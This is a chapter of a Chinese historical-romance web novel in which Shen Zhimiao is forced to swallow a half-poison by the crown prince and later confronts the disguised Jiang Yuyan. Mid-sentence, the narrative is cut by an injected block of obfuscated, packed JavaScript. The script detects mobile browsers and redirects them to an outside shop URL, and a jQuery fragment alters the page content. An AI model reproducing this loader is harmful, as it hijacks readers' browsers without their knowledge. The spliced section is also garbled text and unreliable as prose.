恰此时,案几旁的茶壶开了,发出咕噜噜冒泡声,空荡的房间里,沈之渺心如鼓擂。
她与太子殿下相对而坐,自然将他的表情尽数收入眼底,眼见太子嘴角笑容僵住,沈之渺心想,这下坏了,太子一定认为她是个骗子。
那么接下来怎么办?
反正横竖都是一死,不如趁太子不注意,直接将毒药扔他嘴里,然后捂住,直到他咽下去?
但很快这个想法被沈之渺否定。
自打她说完那句话,太子就在不停地倒水喝茶,天白色茶杯被他轻握住,灼烫染红了他的指腹,他薄唇紧抿,眉目微敛。
怎么瞧,也没个口子能让她扔啊。
实在不行,不如先把毒药拿在手里,占得先机。
沈之渺这样想,也这样做了,她偷偷探出一只手去拿那毒药,却被人用柳枝敲了下手背。
“吃肉吗?”太子这般说道。
话题转得太快,沈之渺脑子下意识做出反应,“吃。”
不多时,一盘新鲜的、还滋滋冒油的柳枝烤肉整齐摆在面前,似是怕她噎住,太子殿下递来一盏茶。
茶雾袅袅,清香四溢,几片翠绿嫩芽漂浮,可比沈之渺平日里用的碎茶看起来高大上的多,见他神色自然,她也没多想,接过茶杯一饮而尽,喝完,咂舌回味。
“殿下,这多不好意思?”
太子笑眯眯看她,神色近乎冷淡,良久,他淡淡道:“这下沈姑娘可以离开了。”
“不用我吃毒药了?”
“不用,你可以走了。”
沈之渺半信半疑,刚刚还不达目的誓不罢休,难道她卜个挂,还没算成功,就这么轻易放过她?她目光瞥见太子,只见他动作优雅悠然自得,于是又望向那盏茶,后知后觉才意识到什么。
“殿下,你不讲武德!”她控诉出声。
太子唇线扯了下,“逗你玩的。”
“……”
沈之渺就差把杯子砸在他脑袋上。
“但是这毒药,你必须吃。”
他沉吟片刻后解释:“这药只毒了一半,你只要每周按时服下解药,身体就不会出现任何问题,等孤安全抵达京城,并且这期间没有任何与你有关的信息泄漏出去,孤便会派侍卫将解药双手奉上。”
“剩下的,孤住在喻府这段时间,你只需配合孤即可。”
这下沈之渺松了口气,“殿下,您早说嘛!”
“太子殿下勤政为民,小女子无以为报,只能吞下这毒药,来报答殿下一片赤诚之心。”
说完,她不再犹豫将药放进喉中咽下,吃完吐了吐舌头,随后就找了个靠枕,大剌剌躺在地上休憩,哪还有半分大家闺秀模样?
这分明更像个泼皮无赖。
路遥本想面前女子定是为了吸引殿下装的,过了一炷香后,沉稳有序的呼吸声渐起,这才信了大半,与此同时,他皱着眉头,凑到太子身旁低声问道:“殿下,真不打算杀了吗?”
屋内窗户半阖,清风顽皮的钻进竹屋中,吹起男子及腰墨发,露出大片白玉般胸膛。
江慎姿态懒散,侧身倚着,“哥哥不喜我杀戮。”
“这次,就算了。”
话语随之消弭在空中,他收回视线,披上银狐鹤氅,等路遥帮他穿戴整齐后,就进了里屋休息。
毕竟大病过,沈之渺这一觉睡得极沉,等再醒来,天边已黑得彻底。
她环顾四周,发现太子早已不知去向,热炉中的银丝煤炭冰冰凉凉,地面映出她一人独坐的倒影。
月华如水,天机广袤,巨大的落差感悠然而生,一步一个脚印走回飘渺院,地上残影也愈发绵延。
不远处的建木大片焦黑,沈之渺轻轻用手触碰,本就外焦里嫩的木块瞬间化为齑粉,随后落入泥土中不见踪迹。
霎时间,她忽然想起雷天雨幕中执伞伫立的墨衣男子,回家的欲望如藤蔓般搅动着她的心扉,她瞬间做了决定。
她一定要回家。
而江予宴,就是她回家的机会。
三月半这天,天气正晴,风光无限。
葳蕤海棠花间,是少女独坐石凳边,轻揉脚踝扼腕叹息。一身粉绿罗裙映衬出春色涟漪,阳光从垂落发丝间穿过,留下星芒点点。
怎的一副美人垂首问春迟的好画卷?
江予宴提笔润墨间隙,稍稍抬眸,看到这就是眼前这副好光景。
可他置若罔闻。只看了一眼,就低下头将信纸铺在桌案上,毛笔轻点墨台,晕出苍茫鸦黑。
“公子,你说这沈小娘子到底认出您的身份没有?”姜明远抱刀坐在廊檐上,偷偷朝着门外观望。
“婢女跟踪你是真的,可晋王那边并无异常,只要我的身份没有泄露,就随她去吧。”江予宴专心致志于提笔书写,并未将外面花枝招展,搔首弄姿的沈之渺当一回事。
比起一个常年在喻家不受宠,还手无缚鸡之力的弱女子,他更关注此次回京后,究竟会有谁继续向他下黑手?
【黄沙、缨枪、盘龙象牙银挂坠……】
提笔书写下一个个关键词,勾勾画画又打着圈圈,江予宴脑海中不断浮现出中计那日的场景,最后在“邺城”上留下浓重墨点。
就是这了!
当日被袭击时,有一身材矮小的男子健步如飞,喻小郎君骑着红棕烈马跑了整整三公里才将人捉到,当时从那人身上搜刮出来的,就有一份通往邺城的官方路引。
这男子身手不凡,比起一般的山匪,他更像是通风报信的。
那份路引,自古以来就由当地府衙负责分发印证。
而且为什么是邺城?此地明明和雾峰方向相反,临近边界。
一道道谜团将他压得喘不上气,恰此时,胸腔处涌起一股阵痛,二者如藤蔓交横,一时没忍住,鲜血从江予宴嘴角溢出。
“公子!”
下一秒,大门破开,不等姜明远反应过来,一抹粉绿先他一步挡在面前,已然搭在江予宴脉搏之上。
房间内针落可闻。
半晌,沈之渺松开手,轻哂,“江予宴,原来你在这里也是个病秧子。”
也?
江予宴捕捉到这话中异常,虽不理解何意味,将自己嘴角鲜血抹去后,处变不惊道:“这位姑娘说笑了,我并非你口中之人,莫不是姑娘将人认错了?”
在沈之渺看不到的地方,他悄悄做了个手势,姜明远瞧见,大拇指直接抵在剑刀柄,只等待公子一声令下,他就削了眼前之人的脑袋!
沈之渺迟疑开口:“你当真不叫江予宴。”
江予宴爽利回答,“是。”
“那你叫什么?”
“薛满。”
“告辞。”
前后不过三句,沈之渺得了答复作揖转身,就奔着门外走去。
对她来讲,男人若不是江予宴,那便不用花费任何时间在其身上。
只是辛苦她今天矫揉造作摆了一个上午的姿势。
想到这她忽觉脖子都酸了,这时清冽柔弱的声音从身后响起。
“等等……”
‘薛满’衣袖遮唇,脸色很是不自在,“你为何对江予宴这人如此关注?”
既然没关系,沈之渺也懒得废话:“我的私事,与你无关。”
“大胆!你竟敢用这种语气和我家公子说话!”
姜明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309873|198782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远说着就要抄起双刀,“你这女人,刚刚是我大意这才让你得了空隙偷跑进来。你一早上就在院子里唉声叹息,生怕别人不知道你在勾引我家公子似的,说,你这女人究竟想做什么?”
沈之渺嘴角扯了扯,鄙夷地目光投过去,“我是有意接近你家公子,可我得知他并非是我找的人,就已经表示了不感兴趣,你现在还要咄咄逼人,将刀架在我的脖子上,所以,究竟是谁在胡搅蛮缠?”
说完,她毫不避讳向前走了一步,刀刃削发如泥,转瞬间细腻白皙的脖颈处溢出血珠。
姜明远杀过不少人,也见过不怕死的,可占着理还不怕死的,他第一次见。
毕竟他理亏,“你……你当真以为我不敢杀了你吗?”
“那就杀了呗。”
沈之渺嗤笑,“若我没记错,你二人当时可是偷偷摸摸进的喻府,我如今是当朝太子面前红人,我若死了,你觉得不会引来其他人的关注?”
好憋屈。
如果此刻能揭穿自家公子身份然后狠狠嘲笑一波面前的女人,那姜明远毫不犹豫这么做。
只可惜牵扯到江予宴,他脑子比谁都清醒,也更理智,冷哼一声,利刃归于刀柄,姜明远道:“你走吧。”
沈之渺摇头,虽不解这人为何前一秒还来势汹汹,下一秒就跟个狗崽子一般无二。
她拔腿就走,却在门口时遇见了方夏。
今早喻老太太派了陈管家来请,说是有要事相议,可那时沈之渺一心想着怎么和好邻居搭上线,便让方夏前去。
此刻她高兴得手舞足蹈,“小姐,喻家老夫人说,过两天城主大人女儿的婚宴,您和大小姐要一同去。”
“这次真是要好好感谢太子殿下,这么些年了,您终于能在正式场合出现。”
又絮絮叨叨半晌,这时方夏注意到沈之渺手中的布包,她天真发问,“诶小姐,您花了咱一个月例银买的补品,你怎么不吃啊?”
“嗯,没必要了。”
沈之渺语气平淡,听不出来喜怒,随后二人一起进了房间,彻底消失在江予宴的视线中。
夜晚悄然降临,天空干净澄澈,万里无云。
用过晚膳后,二人商讨邺城一事,等诸多思绪在脑海中走过,江予宴早早进屋休息,姜明远将药炉架好,过了差不多一个时辰,等药熬制完毕,这才端进房。
屏风后的软榻上,江予宴手握册子,视线却落在了外面。
摆明了是有心事。
姜明远问:“公子,您还在想今日这沈小娘子的事?”
江予宴并未吭声,他将手里的册子放在茶几上,姜明远这才看清是前些天做的有关沈之渺的调查。
他愿斗胆猜,“那要末将替您杀了她吗?”
“这沈之渺是喻家外戚女,若是伪装成悬梁自缢,想来也惊动不得旁人,晋王那边只需吩咐一声即可。”
这时,江予宴叹了口气,解释道:“我刚刚在想,若是要查清邺城路引,或许需要你我二人偷偷潜入这城主府?”
“城主府?”姜明远这才明白,“那公子的意思是……”
“明日,你同我一起去拜见沈姑娘。”
江予宴叮嘱,“这次是我们有求于人,你可千万不能鲁莽行事。”
姜明远心有不悦,可得了公子命令,只得作罢。
吹灭烛火,将床幔放下,屋外夜色浓厚,耳边只剩下蝉鸣声。
寂静中,姜明远发问:“公子,您明日打算怎么做?”
良久,那边都未曾传来声音,就在姜明远心中策划好了不答应就将人绑回来的计划后,江予宴开了口。
“以其人之道,还治其人之身。”